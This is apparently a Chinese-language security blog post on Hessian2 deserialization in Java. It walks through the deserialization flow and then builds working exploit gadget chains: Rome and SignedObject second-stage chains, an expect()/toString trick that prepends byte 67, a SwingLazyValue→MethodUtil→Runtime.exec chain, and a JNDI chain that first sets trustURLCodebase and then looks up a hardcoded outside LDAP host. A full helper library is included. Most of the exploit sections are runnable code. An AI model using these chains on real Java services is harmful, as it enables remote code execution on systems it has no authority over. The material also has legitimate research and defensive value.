0x00 前言
Hessian反序列化的内容还是比较多的。
0x01 基础概念
RPC
RPC(Remote Procedure Call Protocol,远程过程调用协议),和我们熟知的RMI(Remote Method Invocation,远程方法调用)类似,以上两个协议都能通过网络调用远程服务。但RPC和RMI的不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。
在面向对象编程范式下,RMI其实就是RPC的一种具体实现
属性访问机制
在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象。参考marshalsec.pdf,我们可以将序列化/反序列化机制分大体分为两类
基于Bean属性访问机制
- SnakeYAML
- jYAML
- YamlBeans
- Apache Flex BlazeDS
- Red5 IO AMF
- Jackson
- Castor
- Java XMLDecoder
- …
它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)
和setter(xxx)
访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。
这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。
基于Field机制
基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。
- Java Serialization
- Kryo
- Hessian
- json-io
- XStream
- …
Hessian协议
Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现,并且Hessian一般通过Web Service提供服务。在Java中,Hessian的使用方法非常简单,它使用Java语言接口定义了远程对象,并通过序列化和反序列化将对象转为Hessian二进制格式进行传输。
0x02 Hessian2反序列化流程
前置
本文以Hessian2为例,与Hessian相似又有些区别。
添加依赖:
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>hessian</artifactId> <version>4.0.63</version> </dependency>
|
示例类 Person :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package basic;
public class Person { public String name = "Pax"; public transient int age = 111111; private float weight = 1122313131; public Person(){ this.name = name; this.age = age; this.weight = weight; }
public String getName() { return name; }
public int getAge() { return age; }
public float getWeight() { return weight; }
@Override public String toString() { return "basic.Person{" + "name='" + name + '\'' + ", age=" + age + ", weight=" + weight + '}'; } }
|
Person类没有基础Serializable接口,在Hessian序列化的时候会受到影响,但是反序列化的时候就不会。

即使Hessian序列化受到影响,也可以通过打开_isAllowNonSerializable来实现序列化。下面给出Hessian2序列化与反序列化函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public static <T> String serialize0(T object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static <T> T deserialize0(String string) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return (T) hessian2Input.readObject(); }
|
分析
readObjectDefinition()
进到hessian2Input.readObject()方法,由于是自定义的Person类,走到如下case:

进入readObjectDefinition()方法,该方法更多是做一些准备和配置工作。

- type是反序列化的类名(以下称为目标类)
- len是目标类的属性个数
- factory是反序列化器工厂
- reader是factory产生的反序列化器
Person类有三个属性,但是age属性被transient修饰,也就是不可被反序列化,所以len值为2;
观察factory的构成:

属性有各自对应的反序列化器。还有一个陌生的成员_readResolve
。
观察reader是如何构造的。封装有点厚,一路步入到下图:

先得到目标类的Class,再得到相应的反序列化器。不难想到,在该方法里会有反序列化类的黑白名单:(下图需要再步入几步)

会过一遍黑名单:

类已经加载了,根据类获得相应的反序列化器,最后获得的是UnsafeDeserializer:

UnsafeDeserializer反序列化器初始化的过程也对一些属性进行操作。

前文所说的_readResolve,其实是Method类的readResolve方法:

之后没啥好说的,已经获得反序列化器了,接下来总封装成def并存放起来:

readObject()
进入readObject()方法:

这里的def是前面存入的。
跟着核心逻辑走,前文知道自定义类的反序列化器是UnsafeDeserializer,反序列化时调用其readObject()方法。

obj即是目标类实例,接着对其调用readObject()方法:

目标类实例先进行属性赋值,再检查resolve()实例是否与赋值后的实例相同,不同则采用resolve。
至此,Hessian2正常的反序列化流程结束。
0x03 漏洞分析
当Hessian在对HashMap进行反序列化时,会将反序列化过后的键值对put进map里。这个put方法存在几个漏洞点。
前置调试
tag=72,代表HashMap。创建反序列化器MapDeserializer,并调用其readMap()方法

走到else分支,初始化一个HashMap类:

最后就是调用HashMap#put():

hashCode()
这个点很简单,不做赘述。
equals()
在put()->putval()里:

compareTo()/compare()
这与TreeMap相关。
调试源码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Main { public static void main(String[] args) throws Exception { TreeMap<Object, Object> treeMap = new TreeMap<>(); treeMap.put(new Comparable() { @Override public int compareTo(Object o) { return 0; } }, null); String s= serialize0(treeMap); deserialize0(s); } }
|
流程与HashMap类似,具体关注put方法:


comparator.compare()方法,很眼熟吧。
0x04 gadget
Rome
Rome链不难理解,就是getter调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package POC;
import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import java.util.HashMap; import static Utils.Utils.*;
public class Rome { public static void main(String[] args) throws Exception{ JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("ldap://xxx.xxx.xxx.xxx:50389/3f4ed1"); ObjectBean objectBean = new ObjectBean(JdbcRowSetImpl.class, jdbcRowSetImpl); EqualsBean equalsBean = (EqualsBean) getFieldValue(objectBean, "_equalsBean"); ToStringBean toStringBean = (ToStringBean) getFieldValue(objectBean, "_toStringBean"); setFieldValue(equalsBean, "_obj", toStringBean); HashMap<Object, Object> hashMap = gadgetFromHashmap(objectBean); String s = serialize0(hashMap); deserialize0(s); } }
|
Hessian反序列化不能实现TemplatesImpl加载字节码这一攻击,是因为TemplatesImpl类的_tfactory属性被transient修饰。在Java原生反序列化也就是调用readObject()方法里,会初始化_tfactory属性:

但是Hessian反序列化显然不经过readObject()方法,所以_tfactory为null,自然不能实现攻击。
但是真的没法使用TemplatesImpl吗?没错,二次反序列化。
SignedObject
大体思路是,用Rome调用SignedObject#getObject(),再反序列化常规的Rome负载TemplatesImpl。
下面POC所使用的函数都被我封装到Utils类,其会在文末给出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class Rome { public static void main(String[] args) throws Exception{ SignedObject signedObject = (SignedObject) initObject(SignedObject.class); setFieldValue(signedObject, "signature", new byte[]{111}); setFieldValue(signedObject, "content", RomeToTemplatesImplGadgetToSignedObject());
ObjectBean objectBean = new ObjectBean(SignedObject.class, signedObject); EqualsBean equalsBean = (EqualsBean) getFieldValue(objectBean, "_equalsBean"); ToStringBean toStringBean = (ToStringBean) getFieldValue(objectBean, "_toStringBean"); setFieldValue(equalsBean, "_obj", toStringBean); HashMap<Object, Object> hashMap = gadgetFromHashmap(objectBean); String s = serialize0(hashMap); deserialize0(s); } }
|
不要局限于Rome,只要是能调用getter的都可以试试,比如Hibenate等等。当然,也不要局限于SignedObject,重要的是思路。
Resin
导入依赖
1 2 3 4 5
| <dependency> <groupId>com.caucho</groupId> <artifactId>resin</artifactId> <version>4.0.63</version> </dependency>
|
本文先不讲,提供一个思路。
Hessian2.expect()
这个思路很巧妙。
Hessian2Input#expect()会调用Hessian2的readObject()方法,然后调用obj的toString()方法。


往上找,选择readString(),再往上找,选择readObjectDefinition()。
要调用readObjectDefinition()方法,需要tag=67。
正常来说,一些类经过Hessian2序列化以后,第一个字符都是67,此时_offset=1,使得tag=67:

但是,readObjectDefinition()->readString()->read()使得_offset+1,正常来说tag=48,无法走到expect()方法。
如果我往字节数组前面再添加一个67,那么就可以顺利走下去了。此时_offset=2,到了expect()方法,最后反序列化时_offset仍然为2,保证了反序列化的正常进行。
所以思路很清晰了,序列化后的字符串前添加一个67:

POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package POC;
import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean;
import java.security.SignedObject;
import static Utils.Utils.*; import static Utils.Utils.deserialize0;
public class Expect { public static void main(String[] args) throws Exception { SignedObject signedObject = (SignedObject) initObject(SignedObject.class); setFieldValue(signedObject, "signature", new byte[]{111}); setFieldValue(signedObject, "content", RomeToTemplatesImplGadgetToSignedObject()); ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject); String s = serialize0(toStringBean); String s1 = add67ToBytesArray(s); deserialize0(s1); } }
|
为什么要大费周章讲这么多呢?
因为现在我们除了hashCode这么一个入口,还多了toString,这能接下去的思路可就多了。
0x05 Hessian-jdk原生链
前面在采用二次反序列化的时候,我思考是否可以使用jdk原生类进行反序列化攻击。
Runtime
触发点是toString()方法。
MimeTypeParameterList#toString()会调用parameters属性的get方法,后者接受参数key。
parameters属性是Hashtable类型,其有子类UIDefaults,get方法如下:

getFromHashtable方法在value属于LazyValue类型时调用createValue方法:

UIDefaults.LazyValue子类SwingLazyValue的createValue方法可以利用:

if分支进入,可以反射调用静态方法;else分支进入,可以进行类加载并初始化。
先谈谈后者。我们能控制的只有args参数,想到采用TrAXFilter调用构造器的时候,会调用templates属性的newTransform()方法。
但是问题在于templates只是一个接口,哪怕我强转TemplatesImpl为Templates,也是识别成TemplatesImpl。
尚未找到解决办法,只能先思考前者。
只能调用静态方法,那么想到MethodUtil.invoke方法:

我最先构造的参数列表是:
1
| Object[] utilArgs = {Runtime.class.getDeclaredMethod("exec", String.class), Runtime.getRuntime(), new Object[]{new String[]{"calc"}}};
|
看起来没问题,但是在SwingLazyValue#createValue方法调用反射前有个方法加载的步骤,MethodUtil.invoke方法第二个参数要求是Object类型,Runtime类不符合。
怎么办呢?简单来说我只要保证第二个参数是Object类型,那么有没有Object类可以调用的反射呢?或者说,有没有任意类都可以调用的反射呢?
有的兄弟,有的。假如被反射调用的方法是静态方法,那么无需类实例,或者任意类实例都可以反射调用该方法。
所以MethodUtil.invoke()里再嵌套一层MethodUtil.invoke(),这样成功得到了Method类m参数,接下来三个反射:
1
| SwingLazyValue.creatValue()->MethodUtil.invoke()->MethodUtil.invoke()->Runtime.exec()
|
很好,我写下了对应的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package JDKUnserialize;
import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*;
import java.lang.reflect.Method;
import static Utils.Utils.*;
public class Runtime_POC { public static void main(String[] args) throws Exception{ Method invokeMethod = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class); Object[] utilArgs = {invokeMethod, new Object(), new Object[] {execMethod, Runtime.getRuntime(), new Object[]{"calc"}}}; SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", utilArgs); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("1", swingLazyValue); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); setFieldValue(mimeTypeParameterList, "parameters", uiDefaults); String s = serialize0(mimeTypeParameterList); String s1 = add67ToBytesArray(s); deserialize0(s1); } }
|
但是报错了,原因在于前面所讲的黑名单,Hessian检测到了Runtime类,调到Hessian 4.0.59版本即可。
调整了版本,还是报同一个错误:

所以这个报错没有参考性,只能自己一步步分析逼近问题。

参数类型错误,有点意思。猜测在调用Runtime.exec方法的时候参数错误了,exec参数有两种:

那么我给calc字符串套上一层String数组,成功了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package JDKUnserialize;
import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.swing.*;
import java.lang.reflect.Method;
import static Utils.Utils.*;
public class Runtime_POC { public static void main(String[] args) throws Exception{ Method invokeMethod = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class); Method execMethod = Runtime.class.getDeclaredMethod("exec", String[].class); Object[] utilArgs = {invokeMethod, new Object(), new Object[] {execMethod, Runtime.getRuntime(), new Object[]{new String[]{"calc"}}}}; SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", utilArgs); UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("1", swingLazyValue); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList(); setFieldValue(mimeTypeParameterList, "parameters", uiDefaults); String s = serialize0(mimeTypeParameterList); String s1 = add67ToBytesArray(s); deserialize0(s1); } }
|
就目前测试而言,jdk8u442、8u191、8u121、8u65都是要加套上一层String数组,才可以弹calc。
随口提一嘴,前面提到Hessian如果大于等于4.0.60,引入黑名单了怎么办?
用JNDI啊!
JNDI高版本绕过
JNDI低版本,Hessian高版本,可以采用JNDI打jdk原生链。
但是JDK高版本设置trustURLCodebase = false:
非常显然,高版本jdk在使用URLClassLoader
加载器加载远程类之前加了个if语句检测。
根据trustURLCodebase的值是否为true
的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加trustURLCodebase 的值是否为 true
这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。
并且这种限制在 JDK 8u121
、7u131
、6u141
版本时加入。因此如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
而Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,为了限制LDAP协议的JNDI利用,将系统属性com.sun.jndi.ldap.object.trustURLCodebase的默认值设置为false,即默认不允许LDAP从远程地址加载objectfactory类。
方法一,就是寻找本地可用的Factory类,在笔者的这篇文章有解析:Java反序列化之JDNI学习
方法二,就是修改环境变量trustURLCodebase = true。我找到了如下方法:
1
| System.setProperty("trustURLCodebase", "true");
|
回顾此处:MimeTypeParameterList#toString()

给MimeTypeParameterList里的UIDefaults放上两个key,第一个key修改环境变量,第二个key触发JNDI注入。
但是不能保证第一个key成功之后会不会报错从而影响到第二个key,所以我们先分开写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| package JDKUnserialize;
import com.sun.rowset.JdbcRowSetImpl; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.naming.InitialContext; import javax.swing.*; import java.lang.reflect.Method;
import static Utils.Utils.*; import static Utils.Utils.deserialize0;
public class JNDI_High_POC { public static void main(String[] args) throws Exception{ SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System", "setProperty", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}); UIDefaults uiDefaults1 = new UIDefaults(); uiDefaults1.put("1", swingLazyValue1); MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList(); setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1); String s1 = serialize0(mimeTypeParameterList1); String poc1 = add67ToBytesArray(s1); Method invokeMethod = MethodUtil.class.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class); Method JNDIMethod = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData"); JdbcRowSetImpl jdbcRowSetImpl = getJdbcRowSetImpl("ldap://xxx.xxx.xxx.xxx:50389/8ba070"); Object[] utilArgs = {invokeMethod, new Object(), new Object[] {JNDIMethod, jdbcRowSetImpl, new Object[]{}}}; SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", utilArgs); UIDefaults uiDefaults2 = new UIDefaults(); uiDefaults2.put("2", swingLazyValue2); MimeTypeParameterList mimeTypeParameterList2 = new MimeTypeParameterList(); setFieldValue(mimeTypeParameterList2, "parameters", uiDefaults2); String s2 = serialize0(mimeTypeParameterList2); String poc2 = add67ToBytesArray(s2); try { deserialize0(poc1); } finally { deserialize0(poc2); } } }
|
PKCS9Attributes
PKCS9Attributes#toString->
PKCS9Attributes#getAttribute->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
这里关注入口类:sun.security.pkcs.PKCS9Attributes 是Java原生类,属于sun.*内部包。
InitialContext#doLookup()
可以直接调用InitialContext#doLookup()。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package JDKUnserialize;
import sun.swing.SwingLazyValue;
import javax.activation.MimeTypeParameterList; import javax.naming.InitialContext; import javax.swing.*;
import static Utils.Utils.*;
public class doLookupMehtod { public static void main(String[] args) throws Exception{ SwingLazyValue swingLazyValue1 = new SwingLazyValue("java.lang.System", "setProperty", new Object[]{"com.sun.jndi.ldap.object.trustURLCodebase", "true"}); UIDefaults uiDefaults1 = new UIDefaults(); uiDefaults1.put("1", swingLazyValue1); MimeTypeParameterList mimeTypeParameterList1 = new MimeTypeParameterList(); setFieldValue(mimeTypeParameterList1, "parameters", uiDefaults1); String s1 = serialize0(mimeTypeParameterList1); String poc1 = add67ToBytesArray(s1);
MimeTypeParameterList mimeTypeParameterList2 = (MimeTypeParameterList) initObject(MimeTypeParameterList.class); UIDefaults defaults2 = new UIDefaults(); SwingLazyValue swingLazyValue2 = new SwingLazyValue("javax.naming.InitialContext","doLookup",new Object[]{"ldap://120.26.138.45:50389/8ba070"}); defaults2.put("1",swingLazyValue2); setFieldValue(mimeTypeParameterList2,"parameters",defaults2); String s2 = serialize0(mimeTypeParameterList2); String poc2 = add67ToBytesArray(s2);
try{ deserialize0(poc1); }finally { deserialize0(poc2); } } }
|
com.sun.org.apache.bcel.internal.util.JavaWrapper._main()

runMain源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public void runMain(String class_name, String[] argv) throws ClassNotFoundException { Class cl = loader.loadClass(class_name); Method method = null;
try { method = cl.getMethod("_main", new Class[] { argv.getClass() });
int m = method.getModifiers(); Class r = method.getReturnType();
if(!(Modifier.isPublic(m) && Modifier.isStatic(m)) || Modifier.isAbstract(m) || (r != Void.TYPE)) throw new NoSuchMethodException(); } catch(NoSuchMethodException no) { System.out.println("In class " + class_name + ": public static void _main(String[] argv) is not defined"); return; }
try { method.invoke(null, new Object[] { argv }); } catch(Exception ex) { ex.printStackTrace(); } }
|
请读者自行探究。
0x0y Utils / 工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| package Utils;
import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import sun.reflect.ReflectionFactory;
import javax.sql.rowset.BaseRowSet; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.SignedObject; import java.util.Base64; import java.util.HashMap;
public class Utils { public static <T> String serialize0(T object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static <T> T deserialize0(String string) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string)); Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); return (T) hessian2Input.readObject(); }
public static <T> byte[] serialize1(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(o); System.out.println(byteArrayOutputStream.toString()); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize1(byte[] codes) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(codes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); return (T) objectInputStream.readObject(); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); }
public static Object getFieldValue(Object object, String fieldName) throws Exception{ Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(object); }
public static Object initObject(Class clazz) throws Exception { ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructorForSerialization = reflectionFactory .newConstructorForSerialization(clazz, constructor); constructorForSerialization.setAccessible(true); return constructorForSerialization.newInstance(); } public static TemplatesImpl getTemplatesImpl() throws Exception{ TemplatesImpl templates = new TemplatesImpl(); byte[] code = Files.readAllBytes(Paths.get("E:\\all_test\\test_java\\com\\Unserialize\\Rome\\target\\classes\\Calc.class")); setFieldValue(templates, "_name", "Pax"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); setFieldValue(templates, "_bytecodes", new byte[][]{code}); return templates; }
public static HashMap<Object, Object> gadgetFromHashmap(Object o) throws Exception { HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(1,1); Field tableField = HashMap.class.getDeclaredField("table"); tableField.setAccessible(true); Object[] table = (Object[]) tableField.get(hashMap); for (Object entry: table){ if (entry != null){ setFieldValue(entry,"key",o); } } return hashMap; }
public static JdbcRowSetImpl getJdbcRowSetImpl(String url) throws Exception { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Class c0 = BaseRowSet.class; Field dataSourceField = c0.getDeclaredField("dataSource"); dataSourceField.setAccessible(true); dataSourceField.set(jdbcRowSet,url); return jdbcRowSet; }
public static byte[] RomeToTemplatesImplGadgetToSignedObject() throws Exception { TemplatesImpl templatesImpl = getTemplatesImpl(); ObjectBean objectBean = new ObjectBean(Templates.class, templatesImpl); EqualsBean equalsBean = (EqualsBean) getFieldValue(objectBean, "_equalsBean"); ToStringBean toStringBean = (ToStringBean) getFieldValue(objectBean, "_toStringBean"); setFieldValue(equalsBean, "_obj", toStringBean); HashMap<Object, Object> hashMap = gadgetFromHashmap(objectBean); return serialize1(hashMap); }
public static String add67ToBytesArray(String s) throws Exception { byte[] decode = Base64.getDecoder().decode(s); byte[] bytes = new byte[decode.length + 1]; bytes[0] = 67; System.arraycopy(decode, 0, bytes, 1, decode.length); return Base64.getEncoder().encodeToString(bytes); }
}
|
0x0x 参考
Java反序列化之Hessian - Potat0w0
Java安全学习——Hessian反序列化漏洞 - 枫のBlog